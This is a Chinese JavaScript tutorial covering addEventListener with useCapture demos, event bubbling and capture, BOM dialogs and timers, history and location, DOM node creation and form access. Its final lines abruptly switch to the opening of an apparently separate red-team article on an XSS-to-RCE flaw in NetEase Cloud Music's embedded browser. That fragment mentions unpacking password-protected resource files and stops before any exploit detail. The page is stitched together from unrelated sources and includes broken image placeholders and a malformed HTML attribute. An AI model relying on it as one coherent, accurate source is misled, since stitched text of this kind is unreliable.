考API地址:https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95
添加一个监听事件,首先我们看一下API的语法如下
addEventListener(type, listener);
addEventListener(type, listener, options);
addEventListener(type, listener, useCapture);
常用到的是第一个和第三个因为,useCapture默认值是false
useCapture 可选
一个布尔值,表示在 DOM 树中注册了 listener 的元素,是否要先于它下面的 EventTarget 调用该 listener。当 useCapture(设为 true)时,沿着 DOM 树向上冒泡的事件不会触发 listener。当一个元素嵌套了另一个元素,并且两个元素都对同一事件注册了一个处理函数时,所发生的事件冒泡和事件捕获是两种不同的事件传播方式。事件传播模式决定了元素以哪个顺序接收事件。进一步的解释可以查看 DOM Level 3 事件及 JavaScript 事件顺序文档。如果没有指定,useCapture 默认为 false。
这个值的作用有什么用呢?下面我开始了我的摸索和见解。废话不多说开始上demo演示。
<!DOCTYPE html>
<html lang="zh-CN>
<head>
<meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div {
padding: 15px;
border: 1px solid #e5f3fe;
position: relative;
overflow: hidden;
}
span {
background-color: #f2f1f1;
padding: 8px 15px;
margin: 15px;
display: inline-block;
}
.description {
font-size: 22px;
font-weight: 600;
}
</style>
</head>
<body>
<p class="description">
ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
</p>
<label>
<input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
useCapture=false
</label>
<label>
<input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
useCapture=true
</label>
<div title="节点1">
<span>节点1</span>
<div title="节点2">
<span>节点2</span>
</div>
</div>
<script>
// 个人总结:false的话 就是事件冒泡了 从子元素到父元素
// true的话 就是事件捕获 从父到子!
let useCapture=false
// 添加事件
function bindEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.addEventListener('click', handleClick, useCapture)
});
}
// 移除事件
function removeEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.removeEventListener('click', handleClick, useCapture)
});
}
// div click handle
function handleClick(event){
// event.stopPropagation()
alert(this.getAttribute('title'))
}
// 处理 radio change
function radioChange(checked) {
removeEvent()
console.log('radioChange')
console.log(checked)
useCapture=checked=="true" ? true : false
bindEvent()
}
// 执行绑定事件
bindEvent()
</script>
</body>
</html>
demo运行起来是这样的效果
demo运行起来是这样的效果
我们发现当div或者出发事件的元素存在嵌套的情况下,这个是控制事件的执行顺序的。useCapture=false默认是冒泡,冒泡怎么理解呢就是水里的泡泡往上冒么,那么就是从子元素王父元素执行。
Capture=true就是捕获点击一下先相应父级元素的事件,然后传递到子元素。也就是先执行父的事件在执行子的事件。
还有一个就是阻止事件冒泡的 event.stopPropagation();
API文档地址:https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation
我们改动一下我们的DEMO再看看
<!DOCTYPE html>
<html lang="zh-CN>
<head>
<meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div {
padding: 15px;
border: 1px solid #e5f3fe;
position: relative;
overflow: hidden;
}
span {
background-color: #f2f1f1;
padding: 8px 15px;
margin: 15px;
display: inline-block;
}
.description {
font-size: 22px;
font-weight: 600;
}
</style>
</head>
<body>
<p class="description">
ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
</p>
<label>
<input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
useCapture=false
</label>
<label>
<input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
useCapture=true
</label>
<div title="节点1">
<span>节点1</span>
<div title="节点2">
<span>节点2</span>
</div>
</div>
<script>
// 个人总结:false的话 就是事件冒泡了 从子元素到父元素
// true的话 就是事件捕获 从父到子!
let useCapture=false
// 添加事件
function bindEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.addEventListener('click', handleClick, useCapture)
});
}
// 移除事件
function removeEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.removeEventListener('click', handleClick, useCapture)
});
}
// div click handle
function handleClick(event){
event.stopPropagation()
alert(this.getAttribute('title'))
}
// 处理 radio change
function radioChange(checked) {
removeEvent()
console.log('radioChange')
console.log(checked)
useCapture=checked=="true" ? true : false
bindEvent()
}
// 执行绑定事件
bindEvent()
</script>
</body>
</html>
发现事件触发了以后,就不再冒泡或者继续往子元素传递了。这是我的理解和简介欢迎大家拍砖。
事件 (Event) 是 JavaScript 应用跳动的心脏 ,进行交互,使网页动起来。当我们与浏览器中 Web 页面进行某些类型的交互时,事件就发生了。事件可能是用户在某些内容上的点击、鼠标经过某个特定元素或按下键盘上的某些按键。事件还可能是 Web 浏览器中发生的事情,比如说某个 Web 页面加载完成,或者是用户滚动窗口或改变窗口大小。
? 通过使用 JavaScript ,你可以监听特定事件的发生,并规定让某些事件发生以对这些事件做出响应。
(1)验证用户输入的数据。
(2)增加页面的动感效果。
(3)增强用户的体验度
事件源: 谁触发的事件
事件名: 触发了什么事件
事件监听: 谁管这个事情,谁监视?
事件处理:发生了怎么办
例如
闯红灯 事件源:车 ; 事件名: 闯红灯; 监听:摄像头、交警 ; 处理:扣分罚款
单击按钮 事件源:按钮; 事件名: 单击; 监听:窗口 ; 处理:执行函数
? 当我们用户在页面中进行的点击动作,鼠标移动的动作,网页页面加载完成的动作等,都可以称之为事件名称,即:click、mousemove、load 等都是事件名称,具体的执行代码处理,响应某个事件的函数。
<body onload="loadWindow();"></body>
<script>
function loadWindow(){
alert("加载窗体");
}
</script>
? JavaScript可以处理的事件类型为:鼠标事件、键盘事件、HTML事件。
? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查
? Window 事件属性:针对 window 对象触发的事件(应用到 标签)
? Form 事件:由 HTML 表单内的动作触发的事件(应用到几乎所有 HTML 元素,但最常用在 form 元素中)
? Keyboard 事件 : 键盘事件
? Mouse 事件:由鼠标或类似用户动作触发的事件
? Media 事件:由媒介(比如视频、图像和音频)触发的事件(适用于所有 HTML 元素,但常见于媒介元素中,比如 、、、 以及 )
? 几个常用的事件:
? onclick 、onblur 、onfocus 、onload 、onchange
? onmouseover、onmouseout、onkeyup、onkeydown
onload:当页面或图像加载完后立即触发
onblur:元素失去焦点
onfocus:元素获得焦点
onclick:鼠标点击某个对象
onchange:用户改变域的内容
onmouseover:鼠标移动到某个元素上
onmouseout:鼠标从某个元素上离开
onkeyup:某个键盘的键被松开
onkeydown:某个键盘的键被按下
? 我们的事件最后都有一个特定的事件源,暂且将事件源看做是HTML的某个元素,那么当一个HTML元素产生一个事件时,该事件会在元素节点与根节点之间按特定的顺序传播,路径所经过的节点都会受到该事件,这个传播过程称为DOM事件流。
? 事件顺序有两种类型:**事件捕获 **和 事件冒泡。
? 冒泡和捕获其实都是事件流的不同表现,这两者的产生是因为IE和Netscape两个大公司完全不同的事件流概念产生的。(事件流:是指页面接受事件的顺序)IE的事件流是事件冒泡,Netscape的事件流是事件捕获流。
? IE的事件流叫做事件冒泡,即事件开始时由最具体的元素接受,然后逐级向上传播到较为不具体的节点(文档)。例如下面的:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>JavaScript</title>
</head>
<body>
<div id="myDiv">Click me</div>
</body>
</html>
? 如果点击了页面中的
元素,那么这个click事件会按照如下顺序传播:
? 1、
? 2、
? 3、
? 4、document
? 也就是说,click事件首先在div元素上发生,而这个元素就是我们单击的元素。然后,click事件沿DOM树向上传播,在每一级节点上都会发生,直到传播到document对象。
? 所有现代浏览器都支持事件冒泡,但在具体实现上还是有一些差别。
? Netscape提出的另一种事件流叫做事件捕获,事件捕获的思想是不太具体的节点应该更早接收到事件,而最具体的节点应该最后接收到事件。事件捕获的用意在于在事件到达预定目标之前捕获它。还以前面的例子为例。那么单击
元素就会按下列顺序触发click事件:
? 1、document
? 2、
? 3、
? 4、
? 在事件捕获过程中,document对象首先接收到click事件,然后沿DOM树依次向下,一直传播到事件的实际目标,即
元素。
? 虽然事件捕获是Netscape唯一支持的事件流模式,但很多主流浏览器目前也都支持这种事件流模型。尽管“DOM2级事件”规范要求事件应该从document对象开始时传播,但这些浏览器都是从window对象开始捕获的。
? “DOM2级事件”规定的事件流包括三个阶段:事件捕获阶段、处于目标阶段和事件冒泡阶段。首先发生的是事件捕获阶段,为截获事件提供了机会。然后是实际的目标接收到事件。最后一个阶段是冒泡阶段,可以在这个阶段对事件做出响应。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8WOxp342-1608883565334)(/图片1dfgh.png)]
? 事件就是用户或浏览器自身执行的某种动作。例如click、load和mouseover都是事件的名字,而响应某个事件的函数就叫做事件处理程序(或事件侦听器)。事件处理程序的名字以“on”开头,因此click事件的事件处理程序就是onclick,为事件指定处理程序的方式有好几种。
? 某个元素支持的每种事件,都可以用一个与相应事件处理程序同名的HTML特性来指定。这个特性的值应该是能够执行的JavaScript代码:
<input type="button" value="Press me" onclick="alert('thanks');" />
? 这样做有一些缺点,例如耦合度过高,还可能存在时差问题(当用户点击按钮时,处理函数还未加载到,此时处理函数是单独写的一段js代码),而且在不同的浏览器上可能会有不同的效果。
? 通过JavaScript指定事件处理程序的传统方式,就是将一个函数赋值给一个事件处理程序属性。这种方式被所有现代浏览器所支持。这种方式首先必须取得一个要操作的对象的引用,每个元素都有自己的事件处理程序属性,这些属性通常全都小写,例如onclick,然后将这种属性的值设为一个函数,就可以指定事件处理程序了。例如:
<body>
<button id="myBtn">按钮</button>
<script type="text/javascript">
var btn=document.getElementById('myBtn');
btn.onclick=function(){
console.log('you click a button');
}
</script>
</body>
? 以这种方式添加的事件处理程序会在事件流的冒泡阶段被处理。而且,只能为同一个元素的同一个事件设定一个处理程序(覆盖),也可以通过删除DOM0级方法指定的事件处理程序,只要将属性值设为null即可:
btn.onclick=null;
? “DOM2级事件”定义了两个方法,用于处理指定和删除事件处理程序的操作:addEventListener()和removeEventListener()。所有DOM节点都包含这两个方法,并且他们都接受3个参数:要处理的事件名、作为事件处理程序的函数和一个布尔值。最后这个布尔值参数如果是true,则表示在捕获阶段调用事件处理程序;如果是false则表示在冒泡阶段调用事件处理程序。
<body>
<button id="myBtn">按钮</button>
<script type="text/javascript">
var btn=document.getElementById('myBtn')
btn.addEventListener('click',function(){
alert('you add a eventListener by DOM2')
},false)
btn.addEventListener('click',function(){
alert('you add a eventListener by DOM2 again')
},false)
function thread(){
alert('you add a eventListener by DOM2 第三次')
}
btn.addEventListener('click',thread,false)
btn.removeEventListener('click',thread,false)
</script>
</body>
? 这种方式可以为同一个元素的同一个事件添加多个处理函数。还可删除事件处理函数,注意,在删除的时候,不能删除匿名处理函数。
1. 常用的几种事件
2. 绑定事件的几种方式
? BOM的核心对象是window,它表示浏览器的一个实例。window对象有双重角色,它既是通过JavaScript访问浏览器窗口的一个接口,又是ECMAScript规定的Global对象。这意味着在网页中定义的任何一个对象、变量和函数,都以window作为其Global对象,因此有权访问parseInt()等方法。如果页面中包含框架,则每个框架都拥有自己的window对象,并且保存在frames集合中。在frames集合中,可以通过数值索引(从0开始,从左至右,从上到下)或者框架的名称来访问相应的window对象。
? 浏览器通过(实际是window对象的方法)alert()、confirm()、prompt()方法可以调用系统对话框向用户显示消息。
(1)消息框:alert, 常用。
alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
(2)输入框:prompt,返回提示框中的值。
prompt() 方法用于显示可提示用户进行输入的对话框。
参数(可选):
第一个参数:要在对话框中显示的纯文本。
第二个参数:默认的输入文本。
(3)确认框:confirm,返回 true/false.
confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。
<style type="text/css">
#aa{
border: 1px solid red;
height: 100px;
}
</style>
<body>
<div id="aa">
This is a div
</div>
<button onclick="testAlert();">警告</button>
<button onclick="testComfirm();">修改</button>
<button onclick="testPrompt();">输入</button>
<script type="text/javascript">
// 1.警告框
function testAlert(){
alert('警告框!!!');
}
/*
2.输入框
返回值:输入的内容
* */
function testPrompt(){
var item=prompt('请输入年龄'); // item得到输入的值
// console.log(item)
// alert(prompt('请输入年龄',18)); // 将输入的值输出
}
/*
3.确认框
返回值:boolean(true|false)
* */
function testComfirm(){
var result=confirm('真的要改吗?');
if(result){
var ele=document.getElementById("aa");
ele.style.color="red";
ele.innerHTML="<span>fdsfsd</span>";
}else{
alert("没事别瞎点。。。");
}
}
</script>
</body>
? window.open()方法既可以导航到一个特定的URL也可以用来打开一个新的窗口
<script type="text/javascript">
function openBaidu(){
window.open('http://www.baidu.com','_self'); // _self、_blank等
// window.open(); //空白窗口
}
</script>
<input type="button" name="open" value="百度" onclick='openBaidu();' />
? window.close():关闭窗口。
? 例:点击按钮关闭当前窗口。
<input type="button" value="关闭窗口" onclick="window.close();" />
? setTimeout() : 在指定的毫秒数后调用函数或计算表达式。返回一个唯一的标识;也可以通过返回的标识cliearTimeout(id): 来清除指定函数的执行。
var id=setTimeout(function,times);
clearTimeout(id);
示例:
<script type="text/javascript">
// 延迟3 秒后出现 alert
function hello() {
alert("对不起, 要你久候");
}
setTimeout("hello()", 3000);
// 时间显示器
var timeout;
function init(){
// 拿到当前时间
var date=new Date();
var time=date.toLocaleString();
// 拿到相应对象
var h1=document.getElementById('h1');
// 根据需求添加样式
if(0==date.getSeconds()){ // 当时间的秒数变成0时,显示红色字体
h1.innerHTML='<span style="color:red">' + time + '</span>';
} else {
h1.innerHTML=time;
}
/*
* 定时操作,只执行一次
第一个参数:执行的方法;第二个参数:定时,单位是毫秒
* */
setTimeout(init,1000); // 等多少时间来执行
}
// window.setTimeout(init,1000);// 只执行一次
// 停止操作
function stopShow () {
clearTimeout(timeout);
}
</script>
<body onload="init();">
<h1 id="h1"></h1>
<button onclick="stopShow()">时间停止</button>
</body>
? 在times毫秒后执行function指定的方法,执行之前也可以取消
? setInterval():可按照指定的周期(以毫秒计)来调用函数或计算表达式,也可根据返回的标识用来结束。该方法会不停地调用函数,直到 clearInterval() 被调用或窗口被关闭。
var id=setInterval(function,times);
clearInterval(id);
function test(){
console.log(".....");
}
// window是一个全局对象,通过全局对象调用setInterval()函数
window.setInterval(test,1000);
? history 对象是历史对象。包含用户(在浏览器窗口中)访问过的 URL。history 对象是 window 对象的一部分,可通过 window.history 属性对其进行访问。
? history对象的属性:length,返回浏览器历史列表中的 URL 数量。
? history对象的方法:
? back():加载 history 列表中的前一个 URL。
? forward():加载历史列表中的下一个 URL。当页面第一次访问时,还没有下一个url。
? go(number|URL): URL 参数使用的是要访问的 URL。而 number 参数使用的是要访问的 URL 在 History 的 URL 列表中的相对位置。go(-1),到上一个页面
013-history.html
<body>
<a href="013-history-a.html">013-history-a.html</a>
<h1>我是第一个页面</h1>
<input type="button" value="前进" onclick="window.history.forward();" />
<script>
console.log(window.history);
</script>
</body>
013-history-a.html
<body>
<a href="013-history-b.html">013-history-b.html</a>
<h1>我是A页面</h1>
<input type="button" value="后退" onclick="window.history.back();"/>
</body>
013-history-b.html
<body>
<h1>我是B页面</h1>
<input type="button" value="第一个页面" onclick="window.history.go(-2);"/>
<input type="button" value="后退" onclick="window.history.back();"/>
</body>
? location 对象是window对象之一,提供了与当前窗口中加载的文档有关的信息,还提供了一些导航功能。也可通过 window.location 属性来访问。
? location 对象的属性 href:设置或返回完整的 URL
? location 对象的方法
? reload():重新加载当前文档。
? replace():用新的文档替换当前文档。
<script type="text/javascript">
function openBaidu(){
// 没有历史记录,用新的文档替换当前文档
// window.location.replace("http://www.baidu.com");
// console.log(window.location.href); // 获取完整的url
window.location.href="http://www.baidu.com";
}
</script>
<body>
<input type="text" value="" />
<input type="button" value="刷新" onclick="window.location.reload();" />
<input type="button" value="百度" onclick="openBaidu();" />
</body>
? DOM:Document Object Model 文档对象模型
? 要实现页面的动态交互效果,bom 操作远远不够,需要操作 html 才是核心。如何操作 htm,就是 DOM。简单的说,dom 提供了用程序动态控制 html 接口。DOM即文档对象模型描绘了一个层次化的节点树,运行开发人员添加、移除和修改页面的某一部分。dom 处于javascript 的核心地位上。
? 每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BShAnTK7-1608883565338)(/图片1trj.png)]
? 加载 HTML 页面时,Web 浏览器生成一个树型结构,用来表示页面内部结构。DOM 将这种树型结构理解为由节点组成,组成一个节点树。对于页面中的元素,可以解析成以下几种类型的节点:
节点类型HTML内容例如文档节点文档本身整个文档 document元素节点所有的HTML元素、、
属性节点HTML元素内的属性id、href、name、class文本节点元素内的文本hello注释节点HTML中的注释
? html --> 文档节点
? div --> 元素节点
? title --> 属性节点
? 测试 Div --> 文本节点
<html>
<head>
<title>树!树!到处都是树!</title>
</head>
<body>
<div title="属性节点">测试 Div</div>
</body>
</html>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AVMijlup-1608883565345)(/图片1fdgfh.png)]
? 当HTML文档在被解析为一颗DOM树以后,里面的每一个节点都可以看做是一个一个的对象,我们称为DOM对象,对于这些对象,我们可以进行各式各样的操作,查找到某一个或者一类节点对象,可以创建某种节点对象,可以在某个位置添加节点对象,甚至可以动态地删除节点对象,这些操作可以使我们的页面看起来有动态的效果,后期结合事件使用,就能让我们的页面在特定时机、特定的事件下执行特定的变换。
? 在进行增、删、改的操作时,都需要指定到一个位置,或者找到一个目标,此时我们就可以通过Document对象提供的方法,查找、定位某个对象(也就是我们说的节点)。
? 注意:操作 dom 必须等节点初始化完毕后,才能执行。
? 处理方式两种:
? (1)把 script 调用标签移到html末尾即可;
? (2)使用onload事件来处理JS,等待html 加载完毕再加载 onload 事件里的 JS。
window.onload=function () { //预加载 html 后执行};
? 获取方式如下:
方法描述getElementById()根据id获取dom对象,如果id重复,那么以第一个为准getElementsByTagName()根据标签名获取dom对象数组getElementsByClassName()根据样式名获取dom对象数组getElementsByName()根据name属性值获取dom对象数组,常用于多选获取值
<body>
<p id="p1" class="para">这是一个段落<span>文本</span></p>
<p id="p1" class="para">这又是一个段落</p>
<input type="text" name="txt" />
<input type="checkbox" name="hobby" value="游泳" />游泳
<input type="checkbox" name="hobby" value="篮球" />篮球
<input type="checkbox" name="hobby" value="足球" />足球
<hr />
<a href="javascript:void(0)" onclick="testById()">按照id获取</a>
<a href="javascript:void(0)" onclick="testByName()">按照name获取</a>
<a href="javascript:void(0)" onclick="testByTagName()">按照标签名获取</a>
<a href="javascript:void(0);" onclick="testByClass();">按照class获取</a>
</body>
? 说明:href=“javascript:void(0)”:伪协议,表示不执行跳转,而执行指定的点击事件。
<script type="text/javascript">
// 按照id获取元素
function testById() {
// 返回单个对象
var p=document.getElementById("p1");
console.log(p);
// 表示获取元素开始标签和结束标签之间的html结构
console.log(p.innerHTML);
console.log(p.innerText); // 表示获取标签之间的普通文本
}
// 按照name获取元素
function testByName() {
// 对象数组
var ho=document.getElementsByName("hobby");
console.log(ho);
for(var i=0; i <=ho.length - 1; i++) {
console.log(ho[i].value);
}
}
// 按照标签名获取元素
function testByTagName() {
// 对象数组
var inputArr=document.getElementsByTagName("input");
for(var i=0; i < inputArr.length; i++) {
if(inputArr[i].type=="text") {
console.log("text类型");
} else if(inputArr[i].type=="checkbox") {
if(inputArr[i].checked) {
console.log(inputArr[i].value);
}
}
}
}
// 按照class属性获取元素
function testByClass() {
// 对象数组
var ps=document.getElementsByClassName("para");
console.log(ps[0].innerHTML);
ps[0].innerHTML +="这是一段新的文本";
}
</script>
? 很多时候我们想要在某个位置插入一个新的节点,此时我们首先需要有一个节点存在,可以通过以下几种方式创建新节点。
方法描述createElement()创建一个新的节点,需要传入节点的标签名称,返回创建的元素对象createTextNode()创建一个文本节点,可以传入文本内容innerHTML也能达到创建节点的效果,直接添加到指定位置了
方法描述write()将任意的字符串插入到文档中appendChild()向元素中添加新的子节点,作为最后一个子节点insertBefore()向指定的已有的节点之前插入新的节点newItem:要插入的节点exsitingItem:参考节点 需要参考父节点
<button onclick="add()">添加段落</button>
<div id="container"></div>
<script type="text/javascript">
function add(){
var container=document.getElementById('container')
var paragraph=document.createElement('p');
var txt=document.createTextNode('hello')
paragraph.appendChild(txt)
container.appendChild(paragraph)
}
</script>
添加 “段落、图片、文本框、选项”
<body>
<button onclick="addPara();">添加段落</button>
<button onclick="addImg();">添加图片</button>
<button onclick="addTxt();">添加文本框</button>
<button onclick="addOptions()">添加选项</button>
<select name="music">
<option value="-1">你心内的一首歌</option>
<option value="0">南山南</option>
<option value="1">喜欢你</option>
</select>
<hr />
<div id="container"></div>
</body>
<script type="text/javascript">
// 添加p节点
function addPara(){
// 获取容器
var container=document.getElementById("container");
// 创建段落<p></p>
var p=document.createElement('p');
// 第一种方式
// 创建文本节点
var txt=document.createTextNode("以后的你会感谢现在努力的你");
// 将txt节点追加到p节点中
p.appendChild(txt);
// 将p节点追加到container节点中
container.appendChild(p);
/*
// 第二种方式
// 向p节点中添加内容
p.innerHTML="以后的你会感谢现在努力的你";
// 将p节点追加到container节点中
container.appendChild(p);
*/
/*
// 第三种方式
// 将字符串类型的p标签内容添加到container中,不会添加多次
var str="<p>以后的你会感谢现在努力的你</p>";
container.innerHTML=str;
*/
}
// 添加图片
function addImg(){
// 创建图片
var img=document.createElement("img") ;
/*
// 设置属性第一种方式
// 设置img标签的src属性
// img.src="http://www.baidu.com/img/bd_logo1.png";
*/
// 设置属性第二种方式
// setAttribute() 方法添加指定的属性,并为其赋指定的值。
// 设置img的src属性
img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
img.style.width='300px';
img.style.height='200px';
// 获取容器
var container=document.getElementById("container");
// 将img节点追加到container中。
container.appendChild(img);
}
// 添加文本框
function addTxt(){
// 创建文本框
var txt=document.createElement("input");
/*
// 设置类型第一种方式
txt.type="text";
txt.value="添加成功";
*/
// 设置类型第二种方式
txt.setAttribute('type', 'text');
txt.setAttribute('value', '添加成功');
/*
* txt.type='password'
* txt.value='123'
*/
// 获取容器
var container=document.getElementById("container");
// 将txt节点追加到container中。
container.appendChild(txt);
}
// 添加下拉框的选项
function addOptions(){
// 第一种方式
/*
// 创建下拉项
var option=document.createElement("option") ;
option.value="2" ;
option.text="油菜花" ;
// 获取下拉框
var sel=document.getElementsByTagName("select")[0];
// 添加 下拉项
sel.appendChild(option);
*/
// 第二种方式:
var option=document.createElement("option") ;
option.value="2" ;
option.text="不该" ;
// 获取下拉框
var sel=document.getElementsByTagName("select")[0];
// 添加下拉项
sel.options.add(option);
// 第三种方式: 添加下拉项
var sel=document.getElementsByTagName("select")[0];
sel.innerHTML +="<option value='2'>英雄</option>" ;
}
</script>
方法|属性描述childNodes返回元素的一个子节点的数组firstChild返回元素的第一个子节点lastChild返回元素的最后一个子节点nextSibling返回元素的下一个兄弟节点parentNode返回元素的父节点previousSibling返回元素的上一个兄弟节点
方法|属性描述removeChild()从元素中移除子节点
<script type="text/javascript">
function delNode(){
var programmer=document.getElementById("programmer");
// 从父元素中删除节点,获取要删除对象的父元素,然后从父元素中删除该对象
programmer.parentNode.removeChild(programmer);
}
</script>
<body>
<span id="programmer">程序猿</span>
<a href="javascript:void(0)" onclick="delNode();">删除</a>
</body>
? 表单是我们页面向后台传输数据的一种非常常见的方式,在进行数据发送(请求发出)之前,我们应该现在页面进行一系列数据合法性的验证,节省不必要的错误数据的传输,以及提高用户的体验度。
前两种常用
1、document.表单名称
2、document.getElementById(表单 id);
3、document.forms[表单名称]
4、document.forms[索引]; //从 0 开始
例如:
<body>
<form id='myform' name="myform" action="" method="post"></form>
<form id='myform2' name="myform2" action="" method="post"></form>
</body>
<script>
//四种方式
var form=document.getElementById("myform");
form=document.myform;
form=document.forms["myform"];
form=document.forms[0];
console.log(form);
</script>
? 如 text password hidden textarea等,前两种常用。
1)、通过 id 获取:document.getElementById(元素 id);
2)、通过 form.名称形式获取: myform.元素名称; name属性值
3)、通过 name 获取 :document.getElementsByName(name属性值)[索引] // 从0开始
4)、通过 tagName 数组 :document.getElementsByTagName('input')[索引] // 从0开始
<body>
<form id='myform' name="myform" action="" method="get">
姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
密码:<input type="password" id="upwd" name="upwd" value="1234"/><br />
<input type="hidden" id="uno" name="uno" value="隐藏域" />
个人说明:<textarea name="intro"></textarea>
<button type="button" onclick="getTxt();" >获取元素内容</button>
</form>
</body>
<script>
function getTxt(){
var uno=document.getElementById("uno");
var uname=myform.uname;
console.log(uname + "--------");
var upwd=document.getElementsByTagName('input')[1] ;
var intro=document.getElementsByName("intro")[0];
console.log(uno.value +","+ uname.value +","+ upwd.value +","+ intro.value);
}
</script>
? 前提:将一组单选按钮设置相同的name属性值
? (1)获取单选按钮组:
document.getElementsByName("name属性值");
(2)遍历每个单选按钮,并查看单选按钮元素的checked属性
? 若属性值为true表示被选中,否则未被选中
? 选中状态设定: checked=‘checked’ 或 checked=‘true’ 或 checked
? 未选中状态设定: 没有checked属性 或 checked=‘false’
<form action="" name="myform">
<input type="text" name="inputName" value="aaa" />
<input type="radio" name="rad" value="1" /> 1
<input type="radio" name="rad" value="2" /> 2
</form>
<script type="text/javascript">
var radios=document.getElementsByName('rad');
//radios[0].checked='checked'
for(var i=0; i<radios.length; i++){
console.log(radios[i].checked + '---' + radios[i].value)
}
</script>
? 操作方式与单选同理,不同之处在于可以多选
var ufav=document.getElementsByName("ufav");
var favstr="";
for (i=0;i < ufav.length; i++){
if(ufav[i].checked){
favstr +=ufav[i].value+",";
}
}
favstr=favstr.substr(0,favstr.length-1);
? (1)获取 select 对象:
var ufrom=document.getElementById("ufrom");
? (2)获取选中项的索引:
var idx=ufrom.selectedIndex;
? (3)获取选中项 options 的 value属性值:
var val=ufrom.options[idx].value;
? 注意:当通过options获取选中项的value属性值时,
? 若没有value属性,则取option标签的内容
? 若存在value属性,则取value属性的值
? (4)获取选中项 options 的 text:
var txt=ufrom.options[idx].text;
? 选中状态设定:selected=‘selected’、selected=true、selected
? 未选中状态设定:不设selected属性
<body onload="init()">
<form id='myform' name="myform" action="" method="">
来自:
<select id="ufrom" name="ufrom">
<option value="-1" >请选择</option>
<option value="0" selected="selected">北京</option>
<option value="1">上海</option>
</select><br />
<button type="button" id="sub" name="sub">提交</button>
</form>
</body>
<script>
function init () {
var sub=document.getElementById("sub");
sub.onclick=function () {
//获取select对象
var ufrom=document.getElementById("ufrom");
console.log("表单对象:" + ufrom);
//获取选中的索引
var idx=ufrom.selectedIndex;
console.log("选中项的索引值:" + idx);
//获取选中项的value值
var val=ufrom.options[idx].value;
console.log("选中项的value属性值:" + val);
//获取选中项的text
var txt=ufrom.options[idx].text;
console.log("选中项的text:" + txt);
}
}
</script>
? (1)使用普通button按钮+onclick事件+事件中编写代码:
获取表单.submit();
(2)使用submit按钮 + onclick="return 函数()" +函数编写代码:
? 最后必须返回:return true|false;
(3)使用submit按钮/图片提交按钮 + 表单onsubmit="return 函数();" +函数编写代码:
? 最后必须返回:return true|false;
<form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">
<input name="test" id="uname"/><span id="msg"></span><br />
<!--通过js事件:sub()提交表单-->
<input type="button" onclick="sub();" value="提交表单1" />
<input type="submit" onclick="return sub2();" value="提交表单2" />
<input type="submit" value="提交onsubmit" /><br />
<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg"
width="60px" height="40px" />
</form>
<script type="text/javascript">
// input的type=button,调用submit()方法提交
function sub(){
document.myform2.submit();
}
// 进行校验,返回值为true才能提交
function sub2(){
var uname=document.getElementById("uname");
var val=uname.value;
if(val.length>0){
return true; // 提交
}
document.getElementById("msg").innerHTML="不能空着啊!!!";
document.getElementById("msg").style.color="red";
return false; // 不提交
}
// onsubmit事件提交
function onsub () {
var uname=document.getElementById("uname");
var val=uname.value;
if(val.length>0){
return true; // 提交
}
document.getElementById("msg").innerHTML="填写点儿东西呗!(ˉ▽ ̄~) 切~~";
document.getElementById("msg").style.color="red";
return false; // 不提交
}
</script>
Author: Wfox@360RedTeam
前面章节讲解了应用程序是如何与网页进行交互的,接下来章节分析通用软件历史漏洞,通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏洞分析,一个经典的XSS to RCE漏洞。
往期文章回顾: 1. 《嵌入式浏览器安全之初识Cef》
cef浏览器中加载web网页访问通常分为两种,分别是远程资源加载、本地资源加载。
远程资源加载,通过http、https等协议加载网页,通常在软件里作为扩展功能,可延展性强,缺点是页面加载速度受网络环境影响。 本地资源加载,通过file协议实现加载web页面,也是cef桌面应用的主要实现方式。本地加载uri实现方式分为三种:
第2、3种方式是通过cef资源重定向实现的,在使用cef加载本地web资源时,html或者js文件很可能会暴露一些接口或者重要数据,为了代码保护需要把web资源进行加密,常见方式是通过zip进行密码加密。解密也比较简单,逆向主程序文件找到解压密码或者zip明文攻击就能解压加密的资源文件。
具体的实现原理这里不再复述,感兴趣的可以阅读这篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278
漏洞挖掘的第一步,先打开网易云音乐的目录,可以看到明显的Cef目录架构,比如说子目录、依赖库特征等。
在package目录中,找到了网易云音乐的资源文件包orpheus.ntpk,以zip格式解压得到网易云音乐html资源文件。
解压之后目录结构如下,包含了html、js、css文件等,正是这些构成了网易云音乐的整个前端界面。
